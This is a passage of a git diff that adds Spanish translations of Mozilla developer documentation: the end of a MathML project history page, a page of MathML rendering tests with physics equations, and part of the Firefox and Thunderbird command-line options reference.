+  <li>Unificando el análisis de longitud y atributos mpadded {{ Bug("677036") }}</li>
+  <li>Removiendo la anulación de valor de namedspace {{ Bug("673759") }}</li>
+  <li>Default value for lspace/rspace should be thickmathspace {{ Bug("662756") }}</li>
+</ul>
+<p>Los parches Jonathan seran integrados en Firefox 7 u 8. El trabajo restante será finalizado por Frédéric después. Actualmente Jonathan no se encuentra involucrado en el proyecto Mozilla MathML.</p>
+<h2 id="Verano_2007">Verano 2007</h2>
+<h3 id="Mejorar_el_soporte_MathML_en_Mozilla_(Vladimir_Sukhoy)">Mejorar el soporte MathML en Mozilla (Vladimir Sukhoy)</h3>
+<p>El plan de Vladimir's era unir MathML al tronco principal pero era demasiado trabajo para un proyecto de verano, el quería empezar implementando MathML DOM para familiarizarse con el código.</p>
+<ul>
+  <li><a class="link-https" href="https://bug377499.bugzilla.mozilla.org/attachment.cgi?id=267242" title="https://bug377499.bugzilla.mozilla.org/attachment.cgi?id=267242">Propuesta del proyecto</a></li>
+  <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=377499" title="https://bugzilla.mozilla.org/show_bug.cgi?id=377499">Reporte principal de fallas y estado</a></li>
+</ul>
+<p>Desafortunadamente la mayoria de sus cambios no han sido integrados al tronco del proyecto. Algunas de las fallas en las que trabajo han sido corregidas por otras personas. Notablemente Karl ha restaurado el soporte MathML en el tronco. DOM fue removido de MathML 3 y no tenemos planes de implementarlo. Vladimir no se encuentra activo en el proyecto Mozilla MathML.</p>
diff --git a/files/es/mozilla/mathml_project/various/index.html b/files/es/mozilla/mathml_project/various/index.html
new file mode 100644
index 0000000000..b0ae4a4337
--- /dev/null
+++ b/files/es/mozilla/mathml_project/various/index.html
@@ -0,0 +1,36 @@
+---
+title: Various MathML Tests
+slug: Mozilla/MathML_Project/Various
+translation_of: Mozilla/MathML_Project/Various
+---
+<h2 id="Visión_en_conjunto_de_la_Presentación_de_los_elementos_de_MathML">Visión en conjunto de la Presentación de los elementos de MathML</h2>
+<ul>
+ <li>Pruebas de Índices de tensor &lt;mmultiscripts&gt;: <math> <mmultiscripts> <mi>R</mi> <mi>i</mi><mi>1</mi> <mi>j</mi><mi>2</mi> <mprescripts></mprescripts> <mi>k</mi><mi>3</mi> </mmultiscripts> </math> ; Esto con &lt;none/&gt;, <math> <mmultiscripts> <mi>A</mi> <mi>q</mi><mi>p</mi> <mprescripts></mprescripts> <mi>i</mi><none></none> </mmultiscripts> </math></li>
+ <li>Un poco de cálculo: <math> <msubsup> <mo>∫</mo> <mi>a</mi> <mi>b</mi> </msubsup> <mrow> <mi>f</mi> <mo>(</mo> <mi>x</mi> <mo>)</mo> <mi>dx</mi> </mrow> <mrow> <mfrac> <mo>∂</mo> <mrow> <mo>∂</mo> <mi>x</mi> </mrow> </mfrac> <mrow> <mi>F</mi> <mo>(</mo> <mi>x</mi> <mo>,</mo> <mi>y</mi> <mo>)</mo> </mrow> <mo>+</mo> <mfrac> <mo>∂</mo> <mrow> <mo>∂</mo> <mi>y</mi> </mrow> </mfrac> <mrow> <mi>F</mi> <mo>(</mo> <mi>x</mi> <mo>,</mo> <mi>y</mi> <mo>)</mo> </mrow> </mrow> </math></li>
+ <li>Aquí está el alfabeto con porciones invisibles envueltas con &lt;mphantom&gt; entremedias: <math> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mphantom> <mi>d</mi> <mi>e</mi> <mi>f</mi> <mi>g</mi> <mi>h</mi> <mi>i</mi> <mi>j</mi> </mphantom> <mi>k</mi> <mi>l</mi> <mi>m</mi> <mi>n</mi> <mi>o</mi> <mphantom> <mi>p</mi> <mi>q</mi> <mi>r</mi> <mi>s</mi> </mphantom> <mi>t</mi> <mi>u</mi> <mi>v</mi> <mi>w</mi> <mi>x</mi> <mi>y</mi> <mi>z</mi> </math>.</li>
+ <li>Pruebas de MathML &lt;msub&gt;: <math> <msub> <mi>a</mi> <mi>b</mi> </msub> </math>; <math> <msub> <mi>a</mi> <mi>i</mi> </msub> </math>; <math> <msub> <mi>A</mi> <msub> <mi>I</mi> <mi>k</mi> </msub> </msub> </math></li>
+ <li>Pruebas de MathML &lt;msup&gt;: <math> <msup> <mi>d</mi> <mi>b</mi> </msup> <msup> <mn>2</mn> <msub> <mi>a</mi> <mi>x</mi> </msub> </msup> <msup> <msup> <mn>2</mn> <mn>2</mn> </msup> <mi>x</mi> </msup> <msup> <mrow> <mo>(</mo> <mfrac> <mn>1</mn> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> <msup> <mi>y</mi> <msub> <mi>a</mi> <mi>x</mi> </msub> </msup> </msup> </math>.</li>
+ <li>Pruebas de MathML &lt;munder&gt;, &lt;mover&gt;, y &lt;munderover&gt;: <math> <munder> <mi>abcd</mi> <mi>un</mi> </munder> <mover> <mi>abcd</mi> <mi>ov</mi> </mover> <munderover> <mi>abcd</mi> <mi>under</mi> <mi>over</mi> </munderover> </math>.</li>
+ <li>Pruebas de MathML &lt;msubsup&gt;: <math> <msubsup> <mi>a</mi> <mi>p</mi> <mi>q</mi> </msubsup> <msubsup> <mi>a</mi> <mrow> <mi>b</mi> <mo>+</mo> <mi>c</mi> </mrow> <mi>x</mi> </msubsup> </math>.</li>
+ <li>Pruebas de MathML &lt;mrow&gt;: <math> <msup> <mi>d</mi> <mrow> <mo>(</mo> <mfrac> <mi>a</mi> <mi>b</mi> </mfrac> <mo>)</mo> </mrow> </msup> </math></li>
+ <li><math> <mrow> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <mo>+</mo> <mrow> <mn>4</mn> <mo>*</mo> <mi>x</mi> </mrow> <mo>+</mo> <mfrac> <mi>p</mi> <mi>q</mi> </mfrac> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </math>, con este &lt;mfrac&gt; colgando aquí<math> <mfrac><mrow><mi>d</mi> <mo>*</mo> <msup> <mi>T</mi> <mrow> <mo>(</mo> <mfrac> <mrow> <mi>i</mi> <mo>+</mo> <mi>j</mi> </mrow> <mi>n</mi> </mfrac> <mo>)</mo> </mrow> </msup> <mo>+</mo> <msub> <mi>p</mi> <mi>y</mi> </msub> <mo>*</mo> <mi>q</mi> </mrow> <mrow> <msup> <mi>p</mi> <mi>x</mi> </msup> <mo>*</mo> <msub> <mi>b</mi> <mi>x</mi> </msub> <mo>+</mo> <mfrac> <mrow> <mi>a</mi> <mo>+</mo> <mi>c</mi> </mrow> <mi>d</mi> en medio de una gran cantidad de texto en marcha para tratar de explicar lo que esto significa para aquellos que se preocupan de leer.</mfrac></mrow></mfrac></math>
+  <div id="gt-src-tools-l">
+   <div id="gt-input-tool" style="display: inline-block;">
+    <div dir="ltr" style="zoom: 1;">
+     <span id="result_box" lang="es"><span class="hps">en medio de</span> <span class="hps">una gran cantidad de</span> <span class="hps">texto</span> <span class="hps">en marcha</span> <span class="hps">para tratar de explicar</span> <span class="hps">lo que esto significa</span> <span class="hps">para</span> <span class="hps">los que se preocupan</span> <span class="hps">de leer</span></span></div>
+   </div>
+  </div>
+ </li>
+ <li>Pruebas de MathML &lt;merror&gt;, &lt;mtext&gt;: <math> <mtext>Esto es un texto en mtext</mtext> <merror><mtext>Esto es un texto en merror</mtext></merror> </math></li>
+ <li>Pruebas de &lt;maction&gt;: Haga clic para alternar entre expresiones y ver la línea de estado onmouseover/onmouseout:
+  <p><math display="block"> <maction actiontype="toggle"> <maction actiontype="statusline"> <mi>statusline#Primera Expresión</mi> <mtext>Primera Expresión</mtext> </maction> <maction actiontype="statusline"> <mi>statusline#Segunda Expresión</mi> <mtext>Segunda Expresión</mtext> </maction> <maction actiontype="statusline"> <mi>statusline#Etcétera...</mi> <mtext>Etcétera..</mtext> </maction> </maction> </math></p>
+  <p>Haga clic en la expresión de abajo para ver varias definiciones de pi:<br>
+   <math display="block"> <mrow> <maction actiontype="toggle"> <mrow> <mi>π</mi> <mo>=</mo> <mn>3.14159265358</mn><mo mathvariant="bold">...</mo> </mrow> <mrow> <mi>π</mi> <mo>=</mo> <mn>2</mn><mi>i</mi> <mo>⁢</mo> <mo>Log</mo> <mfrac> <mrow><mn>1</mn><mo>-</mo><mi>i</mi></mrow> <mrow><mn>1</mn><mo>+</mo><mi>i</mi></mrow> </mfrac> </mrow> <mrow> <mi>π</mi> <mo>=</mo> <mn>2</mn> <mphantom><mo>.</mo></mphantom> <mfrac> <mn>2</mn> <msqrt> <mn>2</mn> </msqrt> </mfrac> <mphantom><mo>.</mo></mphantom> <mfrac> <mn>2</mn> <msqrt> <mn>2</mn> <mo>+</mo> <msqrt> <mn>2</mn> </msqrt> </msqrt> </mfrac> <mphantom><mo>.</mo></mphantom> <mfrac> <mn>2</mn> <msqrt> <mn>2</mn> <mo>+</mo> <msqrt> <mn>2</mn> <mo>+</mo> <msqrt> <mn>2</mn> </msqrt> </msqrt> </msqrt> </mfrac> <mo mathvariant="bold">...</mo> </mrow> <mrow> <mfrac> <mi>π</mi> <mn>4</mn> </mfrac> <mo>=</mo> <mfrac> <mstyle scriptlevel="0"> <mn>1</mn> </mstyle> <mstyle scriptlevel="0"> <mrow> <mn>2</mn> <mo>+</mo> <mfrac> <mstyle scriptlevel="0"> <msup><mn>1</mn><mn>2</mn></msup> </mstyle> <mstyle scriptlevel="0"> <mrow> <mn>2</mn> <mo>+</mo> <mfrac> <mstyle scriptlevel="0"> <msup><mn>3</mn><mn>2</mn></msup> </mstyle> <mstyle scriptlevel="0"> <mrow> <mn>2</mn> <mo>+</mo> <mfrac> <mstyle scriptlevel="0"> <msup><mn>5</mn><mn>2</mn></msup> </mstyle> <mstyle scriptlevel="0"> <mrow> <mn>2</mn> <mo>+</mo> <mfrac> <mstyle scriptlevel="0"> <msup><mn>7</mn><mn>2</mn></msup> </mstyle> <mstyle scriptlevel="0"> <mn>2</mn><mo>+</mo><mo mathvariant="bold">...</mo> </mstyle> </mfrac> </mrow> </mstyle> </mfrac> </mrow> </mstyle> </mfrac> </mrow> </mstyle> </mfrac> </mrow> </mstyle> </mfrac> </mrow> </maction> </mrow> </math></p>
+ </li>
+</ul>
+<h2 id="Teoría_de_la_dispersión_de_Thomson">Teoría de la dispersión de Thomson</h2>
+<p><math display="block"> <mrow> <mtable> <mtr> <mtd columnalign="left"> <mrow> <mfrac> <mrow> <msup> <mi>d</mi> <mn>2</mn> </msup> <mi>P</mi> </mrow> <mrow> <mi>d</mi> <msub> <mi>Ω</mi> <mi>s</mi> </msub> <mo> </mo> <mi>d</mi> <msub> <mi>ω</mi> <mi>s</mi> </msub> </mrow> </mfrac> </mrow> </mtd> <mtd columnalign="left"> <mrow> <mo>=</mo> </mrow> </mtd> <mtd columnalign="left"> <mrow> <msubsup> <mi>r</mi> <mi>e</mi> <mn>2</mn> </msubsup> <msub> <mo>∫</mo> <mi>V</mi> </msub> <mo lspace="0">&lt;</mo> <msub> <mi>S</mi> <mi>i</mi> </msub> <mo>&gt;</mo> <msup> <mi>d</mi> <mn>3</mn> </msup> <mi mathvariant="bold">r</mi> <mo>∫</mo> <msup> <mrow> <mo lspace="0" rspace="0" symmetric="false">|</mo> <mover accent="true"> <mi mathvariant="bold">e</mi> <mo>^</mo> </mover> <mo>.</mo> <mover accent="true"> <mo>Π</mo> <mo>↔</mo> </mover> <mo>.</mo> <mover accent="true"> <mi mathvariant="bold">e</mi> <mo>^</mo> </mover> <mo lspace="0" rspace="0" symmetric="false">|</mo> </mrow> <mn>2</mn> </msup> <msup> <mi>κ</mi> <mn>2</mn> </msup> <mi>f</mi> <mo> </mo> <mi>δ</mi> <mrow> <mo stretchy="false">(</mo> <mi mathvariant="bold">k</mi> <mo>.</mo> <mi mathvariant="bold">v</mi> <mo>-</mo> <mi>ω</mi> <mo stretchy="false">)</mo> </mrow> <msup> <mi>d</mi> <mn>3</mn> </msup> <mi mathvariant="bold">v</mi> </mrow> </mtd> </mtr> <mtr> <mtd></mtd> <mtd columnalign="left"> <mrow> <mo>=</mo> </mrow> </mtd> <mtd columnalign="left"> <mrow> <msubsup> <mi>r</mi> <mi>e</mi> <mn>2</mn> </msubsup> <msub> <mo>∫</mo> <mi>V</mi> </msub> <mo lspace="0">&lt;</mo> <msub> <mi>S</mi> <mi>i</mi> </msub> <mo>&gt;</mo> <msup> <mi>d</mi> <mn>3</mn> </msup> <mi mathvariant="bold">r</mi> <mo>∫</mo> <msup> <mrow> <mo lspace="0" rspace="0" symmetric="false">|</mo> <mn>1</mn> <mo>-</mo> <mfrac> <mrow> <mo stretchy="false">(</mo> <mn>1</mn> <mo>-</mo> <mover accent="true"> <mi mathvariant="bold">s</mi> <mo>^</mo> </mover> <mo>.</mo> <mover accent="true"> <mi mathvariant="bold">ı</mi> <mo>^</mo> </mover> <mo stretchy="false">)</mo> </mrow> <mrow> <mo stretchy="false">(</mo> <mn>1</mn> <mo>-</mo> <msub> <mi>β</mi> <mi>i</mi> </msub> <mo stretchy="false">)</mo> <mo stretchy="false">(</mo> <mn>1</mn> <mo>-</mo> <msub> <mi>β</mi> <mi>s</mi> </msub> <mo stretchy="false">)</mo> </mrow> </mfrac> <msubsup> <mi>β</mi> <mi>e</mi> <mn>2</mn> </msubsup> <mo lspace="0" rspace="0" symmetric="false">|</mo> </mrow> <mn>2</mn> </msup> <mspace width="thinmathspace"></mspace> <msup> <mrow> <mo rspace="0" symmetric="false">|</mo> <mfrac> <mrow> <mn>1</mn> <mo>-</mo> <msub> <mi>β</mi> <mi>i</mi> </msub> </mrow> <mrow> <mn>1</mn> <mo>-</mo> <msub> <mi>β</mi> <mi>s</mi> </msub> </mrow> </mfrac> <mo lspace="0" rspace="0" symmetric="false">|</mo> </mrow> <mn>2</mn> </msup> </mrow> </mtd> </mtr> <mtr> <mtd></mtd> <mtd></mtd> <mtd columnalign="left"> <mrow> <mo>×</mo> <mrow> <mo stretchy="false">(</mo> <mn>1</mn> <mo>-</mo> <msup> <mi>β</mi> <mn>2</mn> </msup> <mo stretchy="false">)</mo> </mrow> <mo> </mo> <mi>f</mi> <mo> </mo> <mi>δ</mi> <mrow> <mo stretchy="false">(</mo> <mi mathvariant="bold">k</mi> <mo>.</mo> <mi mathvariant="bold">v</mi> <mo>-</mo> <mi>ω</mi> <mo stretchy="false">)</mo> </mrow> <msup> <mi>d</mi> <mn>3</mn> </msup> <mi mathvariant="bold">v</mi> </mrow> </mtd> </mtr> </mtable> </mrow> </math></p>
+<h2 id="Ecuaciones_de_Maxwell">Ecuaciones de Maxwell</h2>
+<p style="text-align: center;"><math> <mstyle displaystyle="true"> <mrow> <mo>{</mo> <mtable columnalign="right center left"> <mtr> <mtd> <mrow> <mo>∇</mo> <mo>×</mo> <mover accent="true"> <mi mathvariant="bold">B</mi> <mo stretchy="true">→</mo> </mover> <mo>-</mo> <mfrac> <mn>1</mn> <mi>c</mi> </mfrac> <mfrac> <mrow> <mo>∂</mo> <mover accent="true"> <mi mathvariant="bold">E</mi> <mo stretchy="true">→</mo> </mover> </mrow> <mrow> <mo>∂</mo> <mi>t</mi> </mrow> </mfrac> </mrow> </mtd> <mtd> <mo>=</mo> </mtd> <mtd> <mrow> <mfrac> <mrow> <mn>4</mn> <mi>π</mi> </mrow> <mi>c</mi> </mfrac> <mover accent="true"> <mi mathvariant="bold">j</mi> <mo stretchy="true">→</mo> </mover> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mo>∇</mo> <mo>ċ</mo> <mover accent="true"> <mi mathvariant="bold">E</mi> <mo stretchy="true">→</mo> </mover> </mrow> </mtd> <mtd> <mo>=</mo> </mtd> <mtd> <mrow> <mn>4</mn> <mi>π</mi> <mi>ρ</mi> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mo>∇</mo> <mo>×</mo> <mover accent="true"> <mi mathvariant="bold">E</mi> <mo stretchy="true">→</mo> </mover> <mo>+</mo> <mfrac> <mn>1</mn> <mi>c</mi> </mfrac> <mfrac> <mrow> <mo>∂</mo> <mover accent="true"> <mi mathvariant="bold">B</mi> <mo stretchy="true">→</mo> </mover> </mrow> <mrow> <mo>∂</mo> <mi>t</mi> </mrow> </mfrac> </mrow> </mtd> <mtd> <mo>=</mo> </mtd> <mtd> <mover accent="true"> <mn mathvariant="bold">0</mn> <mo stretchy="true">→</mo> </mover> </mtd> </mtr> <mtr> <mtd> <mrow> <mo>∇</mo> <mo>ċ</mo> <mover accent="true"> <mi mathvariant="bold">B</mi> <mo stretchy="true">→</mo> </mover> </mrow> </mtd> <mtd> <mo>=</mo> </mtd> <mtd> <mn>0</mn> </mtd> </mtr> </mtable> </mrow> </mstyle> </math></p>
+<h2 id="Ecuaciones_de_campo_de_Einstein">Ecuaciones de campo de Einstein</h2>
+<p style="text-align: center;"><math> <mstyle displaystyle="true"> <mrow> <msub> <mi mathvariant="normal">R</mi> <mstyle scriptlevel="1"> <mrow> <mi>μ</mi> <mi>ν</mi> </mrow> </mstyle> </msub> <mo>-</mo> <mfrac> <mn>1</mn> <mn>2</mn> </mfrac> <msub> <mi>g</mi> <mstyle scriptlevel="1"> <mrow> <mi>μ</mi> <mi>ν</mi> </mrow> </mstyle> </msub> <mi mathvariant="normal">R</mi> <mo>=</mo> <mfrac> <mrow> <mn>8</mn> <mi>π</mi> <mi mathvariant="normal">G</mi> </mrow> <msup> <mi>c</mi> <mn>4</mn> </msup> </mfrac> <msub> <mi mathvariant="normal">T</mi> <mstyle scriptlevel="1"> <mrow> <mi>μ</mi> <mi>ν</mi> </mrow> </mstyle> </msub> </mrow> </mstyle> </math></p>
diff --git a/files/es/mozilla/opciones_de_linea_de_comandos/index.html b/files/es/mozilla/opciones_de_linea_de_comandos/index.html
new file mode 100644
index 0000000000..f6873fbb6c
--- /dev/null
+++ b/files/es/mozilla/opciones_de_linea_de_comandos/index.html
@@ -0,0 +1,448 @@
+---
+title: Opciones de línea de comandos
+slug: Mozilla/Opciones_de_linea_de_Comandos
+tags:
+  - Administración
+  - Documentación
+  - Linea de Comandos
+  - Preguntas y Respuestas
+  - extensiones
+translation_of: Mozilla/Command_Line_Options
+---
+<p><span class="seoSummary">Las opciones de la línea de comandos se utilizan para especificar opciones de arranque para las aplicaciones de Mozilla.</span> Por ejemplo, es posible utilizar una opcion de la linea de comandos para saltearse el Administrador de Perfiles y abrir un perfil específico (en el caso de tener varios perfiles). También es posible controlar la manera en que las aplicaciones de Mozilla se inician, que componentes se abren inicialmente y que es lo que estos hacen cuando se abren. Esta página describe las opciones mas utilizadas y la manera de usarlas.</p>
+
+<h2 id="Syntax_Rules" name="Syntax_Rules">Reglas de Sintaxis</h2>
+
+<p>Primero vamos a describir las reglas de sintaxis que aplican a todas las opciones.</p>
+
+<ul>
+ <li>Los parámetros que contengan espacios deben ser encerrados en comillas dobles; por ejemplo, "Usuario Juan".</li>
+ <li>Al escribir los comandos, pueden usarse mayúsculas y minúsculas.</li>
+ <li>Al escribir los parámetros de los comandos, también pueden usarse mayúsculas y minúsculas (excepto en el caso de los nombres de perfil).</li>
+ <li>Espacios en blanco ( ) separan comandos y parámetros.</li>
+ <li>Cada opción de mensaje tiene la sintaxis <code><var>campo</var>=<var>valor</var></code>, por ejemplo:
+  <ul>
+   <li><code>to=</code><span class="nowiki"><code>foo@nowhere.net</code></span></li>
+   <li><code>subject=cool page</code></li>
+   <li><code>attachment=www.mozilla.org</code></li>
+   <li><code>attachment='<span class="nowiki">file:///c:/test.txt</span>'</code></li>
+   <li><code>body=check this page</code></li>
+  </ul>
+ </li>
+ <li>Separe con coma (,) múltiples optiones del mensaje, por ejemplo: <code>"<span class="nowiki">to=foo@nowhere.net,subject=cool page</span>"</code> . Antes o después de la coma no deben ir espacios ( ).</li>
+ <li>Para asignar múltiples valores a un campo, enciérrelos entre comillas sencillas ('), por ejemplo: <code>"<span class="nowiki">to='foo@nowhere.net,foo@foo.de',subject=cool page</span>"</code> .</li>
+</ul>
+
+<h2 id="How_to_use_command_options" name="How_to_use_command_options">Usando las opciones de linea de comandos</h2>
+
+<p>Las opciones de linea de comando son introducidas posteriormente al comando para iniciar la aplicación. Algunas opciones tienen argumentos. Estos son añadidos como opciones de la linea de comandos. Algunas opciones tienen abreviaturas.  Por ejemplo, la opción de linea de comandos "-editor" puede ser abreviada como "-edit". (Cuando las abreviaturas estan habilitada, tal y como esta expuesto mas abajo). En algunos casos sera necesario que los argumentos vayan entrecomillados. (Tal y como se puede contemplar el recuadro inferior.) Se pueden especificar muchas opciones de linea de comandos .  Por lo general la sintaxis es como la que sigue:</p>
+
+<pre class="notranslate">application -option -option "argument" -option argument
+</pre>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<p>Los suiguientes ejemplos muestran el uso del comando "-ProfileManager" , esta opción de linea de comando abre el gestor de perfiles de Firefox o Thunderbird:</p>
+
+<h4 id="Windows">Windows</h4>
+
+<p>Seleccione ejecutar en el menú de inicio y escriba:</p>
+
+<pre class="eval notranslate">firefox -ProfileManager
+</pre>
+
+<h4 id="Mac_OS_X">Mac OS X</h4>
+
+<p>Vaya a Aplicaciones&gt; Utilidades. Abra un emulador de terminal y tecleé:</p>
+
+<pre class="eval notranslate">cd /Applications/Firefox.app/Contents/MacOS
+./firefox -ProfileManager
+</pre>
+
+<h4 id="Linux">Linux</h4>
+
+<p>Abra un terminal y escriba:</p>
+
+<pre class="eval notranslate">cd <em>Thunderbird</em><var> installation directory</var>
+./thunderbird -ProfileManager
+</pre>
+
+<p>El ejemplo anterior invoca  la opción de linea de comando"-ProfileManager" en el cliente de correo Mozilla Thunderbird.</p>
+
+<h2 id="User_Profile" name="User_Profile">User Profile</h2>
+
+<h3 id="-CreateProfile_profile_name" name="-CreateProfile_profile_name"><code>-CreateProfile <var>profile_name</var></code></h3>
+
+<p>Create a new profile in the default directory, but do not start application. The profile will be named <code><var>profile_name</var></code> in the profile manager. <var>profile_name</var> must not contain spaces ( ).</p>
+
+<pre class="eval notranslate">firefox -CreateProfile JoelUser
+</pre>
+
+<h3 id="-CreateProfile_.22profile_name_profile_dir.22" name="-CreateProfile_.22profile_name_profile_dir.22"><code>-CreateProfile "<var>profile_name</var> <var>profile_dir</var>"</code></h3>
+
+<p>Creates a new profile in the <code><var>profile_dir</var></code> directory, but do not start application. The profile will be named <code>profile_name</code> in the profile manager. Note <code><var>profile_name</var></code> and <code><var>profile_dir</var></code> are quoted together, and are separated by exactly 1 space (as with the previous syntax, <code>profile_name</code> must not contain spaces).</p>
+
+<p>NOTE: <code><var>profile_dir</var></code> must not exist and you must not already have a profile called <code><var>profile_name</var></code>.</p>
+
+<pre class="eval notranslate">firefox -CreateProfile "JoelUser c:\internet\joelusers-moz-profile"
+</pre>
+
+<h3 id="-ProfileManager_or_-P" name="-ProfileManager_or_-P"><code>-ProfileManager</code></h3>
+
+<p>Start with Profile Manager. Short form: <strong>-P</strong> without a profile name.</p>
+
+<h3 id="-P_.22profile_name.22" name="-P_.22profile_name.22"><code>-P "<var>profile_name</var>"</code></h3>
+
+<p>Bypass Profile Manager and launch application with the profile named <var>profile_name</var>. Useful for dealing with multiple profiles. Note <var>profile_name</var> is case sensitive. If you don't specify a profile name then the profile manager is opened instead. You must use an upper case P on Linux with versions older than 7.x, as there lower case invokes Purify mode (memory and leak detection). Other platforms accept both upper and lower case.</p>
+
+<pre class="eval notranslate">firefox -P "Joel User"
+</pre>
+
+<h3 id="-profile_.22.2Fpath.2Fto.2Fprofile.22" name="-profile_.22.2Fpath.2Fto.2Fprofile.22"><code>-profile "<var>profile_path</var>"</code></h3>
+
+<p>Start with the profile with the given path. <strong>Firefox</strong>, <strong>Thunderbird</strong> and <strong>SeaMonkey2.x</strong> only.</p>
+
+<p><code>"profile_path"</code> can either be an absolute path (<code>"<var>/path/to/profile</var>"</code>) or a relative path <code>("<var>path/to/profile</var>"</code>).</p>
+
+<div class="note"><strong>Note: </strong>On Mac OS X specifying a relative path is not supported anymore from Firefox 4.0 and up due to a regression, see {{ bug(673955) }}.</div>
+
+<h3 id="-no-remote" name="-no-remote"><code>-no-remote</code></h3>
+
+<p>Allows multiple copies of application to be open at a time.</p>
+
+<pre class="eval notranslate">firefox -no-remote -P "Another Profile"
+</pre>
+
+<div class="note"><strong>Note: </strong>Since Firefox 9, this does really mean what its name implies on all platforms, i.e. instances created with this parameter do not accept or send remote commands, see {{ bug(650078) }}. That means that such instances won't be re-used. Also when using this argument a new instance is created in any case.</div>
+
+<h3 id="-migration" name="-migration"><code>-migration</code></h3>
+
+<p>Start with Import Wizard.</p>
+
+<h3 id="-override_.2Fpath.2Fto.2Foverride.ini" name="-override_.2Fpath.2Fto.2Foverride.ini"><code>-override <em>/path/to/</em>override.ini</code></h3>
+
+<p>Load the specified <code>override.ini</code> file to override <code>application.ini</code> ({{ Source("browser/app/application.ini") }}). This can be used to suppress the Migration Wizard at startup by loading the following <code>override.ini</code>. <strong>Firefox</strong> only.</p>
+
+<pre class="eval notranslate">[XRE]
+EnableProfileMigrator=0
+</pre>
+
+<h2 id="Browser" name="Browser">Browser</h2>
+
+<h3 id="-browser" name="-browser"><code>-browser</code></h3>
+
+<p>Start with the browser component. <strong>Firefox</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<h3 id="-url_URL" name="-url_URL"><code>-url <var>URL</var></code></h3>
+
+<p>Open <var>URL</var> in a new tab or window, depend on the browser option. <code>-url</code> can be omitted. You may list multiple URLs, separated by spaces. <strong>Firefox</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<div class="note"><strong>Note: </strong>When opening multiple URLs, Firefox always opens them as tabs in a new window.</div>
+
+<pre class="eval notranslate">firefox www.mozilla.com
+firefox www.mozilla.com developer.mozilla.org
+</pre>
+
+<h3 id="-private" name="-private"><code>-private</code></h3>
+
+<p>Opens Firefox in permanent private browsing mode. <strong>Firefox 3.6</strong> and later only.</p>
+
+<p>Not Applicable in Ubuntu for <strong>Firefox 20 </strong>and later.</p>
+
+<h3 id="-private-toggle" name="-private-toggle"><code>-private-window</code></h3>
+
+<p>Opens a new private browsing window in an existing instance of Firefox. <strong>Firefox 20</strong> and later only.</p>
+
+<h3 id="-private-toggle" name="-private-toggle"><code>-private-window URL</code></h3>
+
+<p>Open URL in a new private browsing window. If a private browsing window is already open, a new tab is opened in the existing window.<strong> Firefox 29 </strong>and later only. Does not work in <strong>Firefox 31</strong> on linux mint 17 - results in page being opened in non-private window.</p>
+
+<h3 id="-new-tab_URL" name="-new-tab_URL"><code>-new-tab <var>URL</var></code></h3>
+
+<p>Open <var>URL</var> in a new tab. <strong>Firefox</strong> and <strong>SeaMonkey2.x</strong> only.</p>
+
+<h3 id="-new-window_URL" name="-new-window_URL"><code>-new-window <var>URL</var></code></h3>
+
+<p>Open <var>URL</var> in a new window. <strong>Firefox</strong> and <strong>SeaMonkey2.x</strong> only.</p>
+
+<h3 id="-search_term" name="-search_term"><code>-search <var>term</var></code></h3>
+
+<p>Search <var>term</var> with your default search engine. <strong>Firefox</strong> and <strong>SeaMonkey 2.1</strong> and later only.</p>
+
+<h3 id="-preferences" name="-preferences"><code>-preferences</code></h3>
+
+<p>Open Options/Preferences window. <strong>Firefox</strong> and <strong>SeaMonkey2.x</strong> only.</p>
+
+<h3 id="-setDefaultBrowser" name="-setDefaultBrowser"><code>-setDefaultBrowser</code></h3>
+
+<p>Set the application as the default browser. <strong>Firefox</strong> only.</p>
+
+<h2 id="Mail.2FNews" name="Mail.2FNews">Mail/News</h2>
+
+<h3 id="-mail" name="-mail"><code>-mail</code></h3>
+
+<p>Start with the mail client. <strong>Thunderbird</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<h3 id="-news_news_URL" name="-news_news_URL"><code>-news</code> <var>news_URL</var></h3>
+
+<p>Start with the news client. If <var>news_URL</var> (optional) is given, open the specified newsgroup. <strong>Thunderbird</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<pre class="eval notranslate">thunderbird -news <span class="nowiki">news://server/group</span>
+</pre>
+
+<h3 id="-compose_message_options" name="-compose_message_options"><code>-compose <var>message_options</var></code></h3>
+
+<p>Start with mail composer. See <a href="#Syntax_Rules">syntax rules</a>. <strong>Thunderbird</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<pre class="eval notranslate">thunderbird -compose "<span class="nowiki">to=foo@nowhere.net</span>"
+</pre>
+
+<h3 id="-addressbook" name="-addressbook"><code>-addressbook</code></h3>
+
+<p>Start with address book. <strong>Thunderbird</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<h3 id="-options" name="-options"><code>-options</code></h3>
+
+<p>Open Options/Preferences window. <strong>Thunderbird</strong> only.</p>
+
+<h3 id="-offline" name="-offline"><code>-offline</code></h3>
+
+<p>Start with the offline mode. <strong>Thunderbird</strong> and <strong>SeaMonkey</strong> only.</p>
+
+<h3 id="-setDefaultMail" name="-setDefaultMail"><code>-setDefaultMail</code></h3>
+
+<p>Set the application as the default email client. <strong>Thunderbird</strong> only.</p>
+
+<h2 id="Calendar" name="Calendar">Calendar</h2>
+
+<h3 id="-calendar" name="-calendar"><code>-calendar</code></h3>
+
+<p>Start with the calendar client. <strong>Sunbird</strong> only.</p>
+
+<h3 id="-subscribe_URL_or_-url_URL" name="-subscribe_URL_or_-url_URL"><code>-subscribe <var>URL</var></code> or <code>-url <var>URL</var></code></h3>
+
+<p>Subscribe to the given <var>URL</var>. <strong>Sunbird</strong> only.</p>
+
+<h3 id="-showdate_date" name="-showdate_date"><code>-showdate <var>date</var></code></h3>
+
+<p>Show your schedule of the given <var>date</var>. <strong>Sunbird</strong> only.</p>
+
+<pre class="eval notranslate">sunbird -showdate 08/04/2008
+</pre>
+
+<h2 id="Other_Components" name="Other_Components">Other Components</h2>
+
+<h3 id="-editor_URL_or_-edit_URL" name="-editor_URL_or_-edit_URL"><code>-editor <var>URL</var></code> or <code>-edit <var>URL</var></code></h3>
+
